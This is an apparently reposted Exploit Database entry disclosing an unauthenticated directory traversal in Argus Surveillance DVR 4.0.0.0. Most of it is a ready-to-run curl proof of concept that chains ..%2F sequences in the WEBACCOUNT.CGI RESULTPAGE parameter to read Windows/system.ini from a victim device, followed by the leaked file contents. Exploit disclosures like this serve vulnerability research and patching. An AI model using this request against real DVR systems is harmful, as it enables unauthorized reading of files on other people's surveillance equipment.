Argus Surveillance DVR 4.0.0.0 – Directory Traversal

• Exploit Database
• 40 阅读

• 作者： hyp3rlinx
  日期： 2018-08-29
• 类别：

  • webapps
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/45296/

• # Exploit: Argus Surveillance DVR 4.0.0.0 - Directory Traversal
  # Author: John Page (aka hyp3rlinx)
  # Date: 2018-08-28
  # Vendor: www.argussurveillance.com
  # Software Link: http://www.argussurveillance.com/download/DVR_stp.exe
  # CVE: N/A
  
  # Description:
  # Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, 
  # leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.
  
  # PoC
  
  curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
  
  # Result:
  
  ; for 16-bit app support
  woafont=dosapp.fon
  EGA80WOA.FON=EGA80WOA.FON
  EGA40WOA.FON=EGA40WOA.FON
  CGA80WOA.FON=CGA80WOA.FON
  CGA40WOA.FON=CGA40WOA.FON
   
  wave=mmdrv.dll
  timer=timer.drv
  
  # https://vimeo.com/287115273
  # Greetz: ***Greetz: indoushka | Eduardo | GGA***